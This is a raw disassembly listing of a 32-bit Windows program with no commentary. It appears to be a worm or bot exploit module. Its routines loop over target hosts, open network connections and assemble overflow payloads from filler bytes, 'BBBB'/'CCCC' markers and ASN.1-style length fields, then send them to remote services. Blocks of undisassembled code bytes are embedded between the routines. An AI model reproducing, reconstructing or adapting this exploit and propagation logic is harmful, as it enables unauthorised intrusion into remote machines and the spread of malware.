		retn	4
; ---------------------------------------------------------------------------


loc_40C40A:				; CODE XREF: sub_40C124+27Bj
					; sub_40C124+297j
		mov	eax, [ebp+var_2C]
		mov	esi, dword_427078
		mov	edi, ebx
		mov	dword_4CB0C4[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40C4D7


loc_40C428:				; CODE XREF: sub_40C124+3ADj
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431B24
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	0Bh
		push	eax
		call	sub_40B0F6
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_43DEB4[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40C124
		push	ebx
		push	ebx
		call	near ptr 2670659h
		nop
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40C4A2


loc_40C497:				; CODE XREF: sub_40C124+37Cj
		cmp	[ebp+var_4], ebx
		jnz	short loc_40C4C9
		push	1Eh
		call	esi
		jmp	short loc_40C497
; ---------------------------------------------------------------------------


loc_40C4A2:				; CODE XREF: sub_40C124+371j
		nop
		call	near ptr 2680000h
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431AEC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		add	esp, 10h


loc_40C4C9:				; CODE XREF: sub_40C124+376j
		push	1Eh
		call	esi
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40C428


loc_40C4D7:				; CODE XREF: sub_40C124+2FEj
		cmp	[ebp+var_30], ebx
		jz	loc_40C581
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi


loc_40C4EC:				; CODE XREF: sub_40C124+468j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4CB0C0[eax*8]
		push	eax
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431AAC
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40C53A
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409A72
		add	esp, 14h


loc_40C53A:				; CODE XREF: sub_40C124+3F7j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		mov	eax, [ebp+var_2C]
		mov	[esp+29Ch+var_29C], 0BB8h
		mov	dword_4CB0C4[eax*8], ebx
		call	esi
		push	0Bh
		call	sub_40B33E
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40C571
		push	offset dword_4CD0C0
		nop
		call	near ptr 26D070Fh


loc_40C571:				; CODE XREF: sub_40C124+440j
		push	[ebp+var_2C]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26D0000h


loc_40C581:				; CODE XREF: sub_40C124+3B6j
					; sub_40C124+475j
		mov	eax, [ebp+var_2C]
		cmp	dword_4CB0C4[eax*8], 1
		jnz	loc_40C4EC
		push	7D0h
		call	esi
		jmp	short loc_40C581
sub_40C124	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C59B	proc near

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A8h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	dword_4CAF74
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4CAFF4
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C659
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CAF1C
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_43DEBC[ecx], esi
		jz	short loc_40C659
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4CB000
		push	eax
		mov	edi, offset dword_4CDA84
		push	offset dword_431B8C
		push	edi
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_409A72
		push	edi
		call	sub_4151AC
		add	esp, 28h


loc_40C659:				; CODE XREF: sub_40C59B+5Dj
					; sub_40C59B+7Ej
		push	esi
		call	dword_4CB00C
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40C59B	endp

; ---------------------------------------------------------------------------
dword_40C668	dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh
					; DATA XREF: sub_401ACD+603Eo
		dd 0FF4CBD8Dh, 0A5F3FFFFh, 7078358Bh, 83C70042h, 0A4h
		dd 1, 75FFFF33h, 0E075FFD0h, 0B00015FFh, 8D50004Ch, 0FFFECC85h
		dd 1BB468FFh, 0E8500043h, 0F1D2h, 0FECC858Dh, 0FF68FFFFh
		dd 50000001h, 69DC458Bh, 234C0h, 0DCB00500h, 0E8500043h
		dd 0EF1Ch, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh
		dd 40C59Bh, 6AE85757h, 9002263Fh, 4589C73Bh, 390B74FCh
		dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 1FE890FCh, 0FF022442h
		dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah
		dd 0E8500845h, 0FBE8h, 0FF0CC483h, 15FF0875h, 4CAE9Ch
		dd 45895040h, 7015FF08h, 89004CAFh, 458D0845h, 50046A08h
		dd 50E0458Dh, 0FBBFE8h,	0CC48300h, 0FFFF3DE9h
		db 0FFh
byte_40C759	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+5D4Eo
		dd 130EC81h, 8B530000h,	5756085Dh, 0F38B2B6Ah, 50BD8D59h
		dd 0F3FFFFFFh, 78358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h
		dd 75FFD475h, 15FFE4h, 50004CB0h, 0FED0858Dh, 868FFFFh
		dd 5000431Ch, 0F0E1E8h,	0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h
		dd 234C069h, 0B0050000h, 500043DCh, 0EE2BE8h, 1CC48300h
		dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C59B68h,	90575700h
		dd 263E78E8h, 89C73B02h, 0B740845h, 75F87D39h, 0FF326A06h
		dd 0FFF5EBD6h, 0E8900875h, 224412Eh, 8CB3FFh, 0BB890000h
		dd 0A8h, 458BD6FFh, 0D8453BD4h,	45FF0874h, 0FF6DE9D4h
		dd 75FFFFFFh, 15FFE4h, 50004CB0h, 0FED0858Dh, 0DC68FFFFh
		dd 5000431Bh, 0F051E8h,	858D5700h, 0FFFFFED0h, 50EC75FFh
		dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0D220E8FFh, 75FFFFFFh
		dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh
		db 4, 0

; =============== S U B	R O U T	I N E =======================================



sub_40C866	proc near		; CODE XREF: sub_40CADA+Ep
					; sub_40CADA+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40C866	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C870	proc near		; CODE XREF: sub_40CADA+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40C8A2
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_41C310
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_40C8A2:				; CODE XREF: sub_40C870+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40C870	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C8AA	proc near		; CODE XREF: sub_40C9A4+18p
					; sub_40CA1E+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40C8F6
		push	edi
		push	0
		push	esi
		call	sub_41B590
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_41C310
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41C310
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_40C8F6:				; CODE XREF: sub_40C8AA+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40C8AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C8FF	proc near		; CODE XREF: sub_40C9A4+5Ep
					; sub_40C9A4+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40C90F
		push	eax
		call	sub_41B0B1
		pop	ecx


loc_40C90F:				; CODE XREF: sub_40C8FF+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40C8FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C918	proc near		; CODE XREF: sub_40C9A4+20p
					; sub_40CA7F+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40C945
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C949


loc_40C945:				; CODE XREF: sub_40C918+Dj
		xor	al, al
		jmp	short loc_40C9A0
; ---------------------------------------------------------------------------


loc_40C949:				; CODE XREF: sub_40C918+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40C96E
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40C988
; ---------------------------------------------------------------------------


loc_40C96E:				; CODE XREF: sub_40C918+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_40C988:				; CODE XREF: sub_40C918+54j
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_41B0B1
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_40C9A0:				; CODE XREF: sub_40C918+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C918	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C9A4	proc near		; CODE XREF: sub_40CADA+89p
					; sub_40CADA+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_4CAE2C
		call	sub_40C8AA
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C9DE
		xor	al, al
		jmp	short loc_40CA1A
; ---------------------------------------------------------------------------


loc_40C9DE:				; CODE XREF: sub_40C9A4+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_41B590
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_41C310
		add	esp, 18h
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40C8FF
		mov	al, 1


loc_40CA1A:				; CODE XREF: sub_40C9A4+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40C9A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA1E	proc near		; CODE XREF: sub_40CA52+14p
					; sub_40CA6F+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40C8AA
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40CA1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA52	proc near		; CODE XREF: sub_40CADA+F0p
					; sub_40CADA+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40CA1E
		pop	esi
		retn	4
sub_40CA52	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA6F	proc near		; CODE XREF: sub_40CABB+Bp
					; sub_40CADA+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40CA1E
		retn	8
sub_40CA6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA7F	proc near		; CODE XREF: sub_40CABB+16p
					; sub_40CADA+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40C918
		test	al, al
		jz	short loc_40CAB8
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_42C8E8
		call	sub_40C8AA
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_40CAB8:				; CODE XREF: sub_40CA7F+Fj
		pop	esi
		leave
		retn
sub_40CA7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CABB	proc near		; CODE XREF: sub_40CADA+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40CA6F
		test	al, al
		jz	short loc_40CAD6
		mov	ecx, esi
		call	sub_40CA7F


loc_40CAD6:				; CODE XREF: sub_40CABB+12j
		pop	esi
		retn	8
sub_40CABB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CADA	proc near		; CODE XREF: ___:0040D361p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40C866
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40CE2E
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40CE2E
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40C866
		lea	ecx, [ebp+var_20]
		call	sub_40C866
		lea	ecx, [ebp+var_50]
		call	sub_40C866
		lea	ecx, [ebp+var_18]
		call	sub_40C866
		lea	ecx, [ebp+var_40]
		call	sub_40C866
		lea	ecx, [ebp+var_38]
		call	sub_40C866
		lea	ecx, [ebp+var_28]
		call	sub_40C866
		push	4
		push	offset dword_431C40
		lea	ecx, [ebp+var_30]
		call	sub_40CA1E
		push	3
		push	offset dword_431C48
		lea	ecx, [ebp+var_30]
		call	sub_40CA1E
		lea	ecx, [ebp+var_30]
		call	sub_40C9A4
		lea	ecx, [ebp+var_30]
		call	sub_40CA7F
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40CA1E
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40CA1E
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_20]
		call	sub_40C9A4
		push	offset loc_431FC4
		lea	ecx, [ebp+var_50]
		call	sub_40CA52
		lea	ecx, [ebp+var_50]
		call	sub_40C9A4
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40C870
		lea	ecx, [ebp+var_58]
		call	sub_40C9A4
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40CABB
		lea	ecx, [ebp+var_58]
		call	sub_40C8FF
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40CA52
		push	4
		push	offset dword_431C4C
		lea	ecx, [ebp+var_18]
		call	sub_40CA1E
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40CA1E
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_18]
		call	sub_40C9A4
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40CA6F
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40CA6F
		lea	ecx, [ebp+var_40]
		call	sub_40CA7F
		lea	ecx, [ebp+var_18]
		call	sub_40C8FF
		lea	ecx, [ebp+var_50]
		call	sub_40C8FF
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40CA6F
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40CA6F
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40CA6F
		lea	ecx, [ebp+var_38]
		call	sub_40CA7F
		lea	ecx, [ebp+var_20]
		call	sub_40C8FF
		lea	ecx, [ebp+var_30]
		call	sub_40C8FF
		lea	ecx, [ebp+var_40]
		call	sub_40C8FF
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_28]
		call	sub_40C9A4
		push	2
		push	offset dword_431FB8
		lea	ecx, [ebp+var_28]
		call	sub_40CA1E
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40CA6F
		lea	ecx, [ebp+var_28]
		call	sub_40CA7F
		lea	ecx, [ebp+var_38]
		call	sub_40C8FF
		lea	ecx, [ebp+var_10]
		call	sub_40C866
		lea	ecx, [ebp+var_8]
		call	sub_40C866
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40CA6F
		lea	ecx, [ebp+var_10]
		call	sub_40C918
		lea	ecx, [ebp+var_28]
		call	sub_40C8FF
		push	offset dword_431FB4
		lea	ecx, [ebp+var_8]
		call	sub_40CA52
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		lea	ecx, [ebp+var_10]
		call	sub_40C8FF
		push	offset dword_431FB0
		lea	ecx, [ebp+var_10]
		call	sub_40CA52
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40CA6F
		lea	ecx, [ebp+var_10]
		call	sub_40C918
		lea	ecx, [ebp+var_8]
		call	sub_40C8FF
		push	offset dword_431FA4
		lea	ecx, [ebp+var_8]
		call	sub_40CA52
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		lea	ecx, [ebp+var_10]
		call	sub_40C8FF
		push	(offset	loc_431F9F+1)
		lea	ecx, [ebp+var_48]
		call	sub_40CA52
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C8FF
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40CE3C
; ---------------------------------------------------------------------------


loc_40CE2E:				; CODE XREF: sub_40CADA+1Bj
					; sub_40CADA+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_40CE3C:				; CODE XREF: sub_40CADA+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40CADA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CE40	proc near		; CODE XREF: sub_40CF04+A1p
					; sub_40CF04+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		nop
		call	near ptr 71AB1890h
		cmp	eax, edi
		jnz	short loc_40CEA7
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_40CEAB


loc_40CEA7:				; CODE XREF: sub_40CE40+54j
		xor	eax, eax
		jmp	short loc_40CEBB
; ---------------------------------------------------------------------------


loc_40CEAB:				; CODE XREF: sub_40CE40+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4CAF8C


loc_40CEBB:				; CODE XREF: sub_40CE40+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40CE40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CEBF	proc near		; CODE XREF: sub_40CF04+81p
					; sub_40CF04+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4CAF70
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		cmp	eax, 4
		jz	short loc_40CEE9
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40CEE9:				; CODE XREF: sub_40CEBF+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4CAFC4
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40CEBF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF04	proc near		; CODE XREF: sub_40CFDE+48p
					; ___:0040D452p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40CF2D
		xor	al, al
		jmp	loc_40CFD9
; ---------------------------------------------------------------------------


loc_40CF2D:				; CODE XREF: sub_40CF04+20j
		push	ebx
		push	0
		push	esi
		call	sub_41B590
		push	2Fh
		push	offset dword_431CDC
		push	esi
		call	sub_41C310
		push	8
		lea	eax, [esi+31h]
		push	offset dword_431D0C
		push	eax
		mov	[esi+2Fh], di
		call	sub_41C310
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_41C310
		push	6
		add	ebx, edi
		push	offset dword_4CDC8C
		push	ebx
		call	sub_41C310
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_431C54
		push	ebx
		call	sub_40CEBF
		add	esp, 48h
		test	al, al
		jnz	short loc_40CF95


loc_40CF91:				; CODE XREF: sub_40CF04+B5j
		xor	bl, bl
		jmp	short loc_40CFD0
; ---------------------------------------------------------------------------


loc_40CF95:				; CODE XREF: sub_40CF04+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE40
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40CEBF
		add	esp, 1Ch
		test	al, al
		jz	short loc_40CF91
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE40
		add	esp, 10h
		mov	bl, 1


loc_40CFD0:				; CODE XREF: sub_40CF04+8Fj
		push	esi
		call	sub_41B0B1
		pop	ecx
		mov	al, bl


loc_40CFD9:				; CODE XREF: sub_40CF04+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40CF04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CFDE	proc near		; CODE XREF: ___:0040D438p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_431D18
		push	[ebp+arg_0]
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 48h
		jnz	short loc_40D019
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40CE40
